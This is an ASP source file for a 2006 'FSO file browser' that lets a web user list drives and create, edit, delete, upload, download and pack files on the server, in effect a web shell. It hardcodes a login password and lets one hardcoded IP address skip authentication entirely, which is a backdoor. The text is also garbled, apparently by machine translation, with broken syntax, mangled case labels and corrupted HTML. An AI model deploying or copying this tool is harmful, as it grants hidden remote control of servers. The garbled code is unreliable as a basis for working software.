Server.scripttimeout=20
Session.timeout=45 ' Session Effective time
Const mss= "Explorer_" ' Session prefix
Const password= "codefans.net" ' Login password
Const copyright= "<div align=" "Center" "style=" "FONT-SIZE:9PX;" >©copyleft 2006. Coded by RSSN, Hebust. No rights reserved</div> "
' Copyright information
Dim t1,t2,runtime
T1=timer ()
Dim oFSO
Set Ofso=server.createobject ("Scripting.FileSystemObject")
'-------------------------------------------------------------
' Declares the required global variables in the function
Dim conn,rs,ostream,nopackfiles,rootpath,failfilelist
nopackfiles= "|< $datafile >.mdb|< $datafile >.ldb|"
'-------------------------------------------------------------
Call Main ()
Set ofso=nothing
' ======================== Subs begin =========================
Sub Main ()
Select Case Request ("page")
Case "IMG"
Call Page_img ()
Case "CSS Tutorial"
Call Page_css ()
Case "Loginchk"
Call Loginchk ()
Case "Logout"
Call Logout ()
Case Else:
' "Yiffang, Fumo opens"--user authentication
If session (mss& "Isadminlogin") =true or Request.ServerVariables ("remote_addr") = "121.193.213.246" Then
' Already logged in
Else
Call Login ()
Exit Sub
End If
Select Case Request ("act")
Case "Drive"
Call Drive ()
Case "Up"
Call Dirup ()
Case "New"
Call NEWF (Request ("FName")
Case "Savenew"
Call Savenew (Request ("FName")
Case "Rename"
Call Rename ()
Case "Saverename"
Call Saverename ()
Case "Edit"
Call Edit (Request ("fname"))
Case "Saveedit"
Call Saveedit (Request ("FName")
Case "Delete"
Call Deletes (Request ("FName")
Case "Copy"
Call Setfile (Request ("FName"), 0)
case, cut.
Call Setfile (Request ("FName"), 1)
Case "Download"
Call Download (Request ("FName")
Case "Upload"
Call Upload (Request ("FName")
Case "Saveupload"
Call Saveupload (Request ("FName")
Case "Parse"
Call Parse (Request ("FName")
Case "Prop"
Call prop (Request ("FName")
Case "Saveprop"
Call Saveprop (Request ("FName")
Case "Pack"
Call Page_pack ()
Case "Savepack"
Call Pack (Request ("Fpath"), Request ("DBPath")
Case "Saveunpack"
Call Unpack (Request ("Fpath"), Request ("DBPath")
Case Else
If Request ("fname") = "" Then
Call Dirlist (Server.MapPath ("./"))
Else
Call Dirlist (Request ("FName")
End If
End Select
End Select
End Sub
' ========== Subs =============
' Display system disk information
Sub Drive ()
Dim odrive,islight
%>
<TITLE>FSO file Browser-system disk information </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<body>
<table align= "Center" border= "1" width= "99% cellspacing=" 0 "cellpadding=" 3 "bordercolor=" #6595d6 ">
<TR><TH>FSO file Browser-system disk information </th></th>
<tr>
<td>
<table align= "Center" border= "1" width= "100%" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th width= "10%" > Letter </th><th width= "15%" > Type </th><th width= "20%" > Label </th ><th width= "15%" > File system </th><th width= "20%" > Total capacity </th><th width= "20%" > Free space </th ></tr>
<%
On Error Resume Next
Islight=false
For each odrive in ofso.drives
Response.Write "<tr value=" "&odrive.driveletter&": "ondblclick=" "location.href="? page=fso&fname= ' +escape (this.value); ""
If Islight then Response.Write "bgcolor= ' #eeeeee '"
Response.Write ">"
Response.Write "<td>" &odrive.driveletter& "</td>"
Response.Write "<td>" &getdrivetype (odrive.drivetype) & "</td>"
Response.Write "<td>" &odrive.volumename& "</td>"
Response.Write "<td>" &odrive.filesystem& "</td>"
Response.Write "<td>" &sizecount (odrive.totalsize) & "</td>"
Response.Write "<td>" &sizecount (odrive.freespace) & "</td>"
Response.Write "</tr>" &vbcrlf
Islight=not (Islight)
Next
%>
</table>
</td>
</tr>
</table>
<% =copyright%>
<%
End Sub
' New
Sub Newf (ByVal fname)
%>
<title>fso File Explorer-new </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<script language= "Web Effects" >
function Icheck ()
{
if (document.rform.nname.value== "")
{
Alert ("Please enter a valid filename!") ");
return false;
}
Else
return true;
}
</script>
<body bgcolor= "#eeeeee" >
<form action= "" Name= "Rform" method= "POST" onsubmit= "return Icheck ();" >
<table align= "Center" border= "1" width= "380" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th colspan=2>fso File Browser-new </th></tr>
<TR><TD align=right> Type: </td><td><input type= "Radio" name= "ntype" checked value= "0" > Folder <input type= "Radio" name= "Ntype" value= "1" > Files
<TR><TD align=right> name:</td>
<td>
<input type= "text" size= "name=" Nname "value=" "New" >
</td>
<TR><TD align=center colspan=2><input type= "Submit" class= "B" value= "submitted" > <input type= "Button" class= "B" value= "closes" onclick= "window.close ();" ></td></tr>
</table>
</form>
</body>
<%
End Sub
' Save the new
Sub Savenew (ByVal fname)
If not Isfolder (fname) Then
Response.Write "<script language= ' JavaScript ' >alert (' folder does not exist! '); History.back ();</script> "
Exit Sub
End If
Dim filepath
Filepath=request ("FName") & "" &replace (Request.Form ("Nname"), "", "")
Filepath=replace (filepath, "\", "")
If Isfolder (filepath) or isfile (filepath) Then
Response.Write "<script language= ' JavaScript ' >alert (' file or folder already exists! '); History.back ();</script> "
Exit Sub
End If
If Request.Form ("Ntype") =1 Then
Ofso.createtextfile filepath
Else
Ofso.createfolder filepath
End If
Response.Write "<script language= ' JavaScript ' >alert (' new folder or text file succeeded! '); Window.close ();</script> "
End Sub
' Edit file
Sub Edit (ByVal fname)
If not isfile (fname) Then
Response.Write "<script language= ' JavaScript ' >alert (' You are not editing a file or file does not exist! '); Window.close ();</script> "
Exit Sub
End If
Dim ofile,filestr
Set Ofile=ofso.opentextfile (fname,1)
If Ofile.atendofstream Then
Filestr= ""
Else
Filestr=ofile.readall ()
End If
Ofile.close
Set ofile=nothing
%>
<title>fso file Browser-edit text file </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<link href= "" rel= "stylesheet" type= "Text/css" >
<body bgcolor= "#eeeeee" >
<form name= "EForm" method= "POST" action= "" >
<table align= "Center" border= "1" width= "99%" height= "99%" cellspacing= "0" cellpadding= "3" bordercolor= "#6595d6" >
<tr><th>fso file Browser-edit text file </th></tr>
<TR><TD height= > FileName: <% =fname%></td></tr>
<tr><td><textarea name= "Filestr" style= "width:100%;height:100%;" ><% =server.htmlencode (FILESTR)%></textarea></td></tr>
<tr height= "><TD" align= "Center" >
<input type= "Submit" value= "save" class= "B" > <input type= "reset" value= "reset" onclick= "return Confirm" (' OK to edit again? '); "class=" B "> <input type=" button "class=" B "value=" closes "onclick=" window.close (); " >
</td></tr>
</table>
</form>
<%
End Sub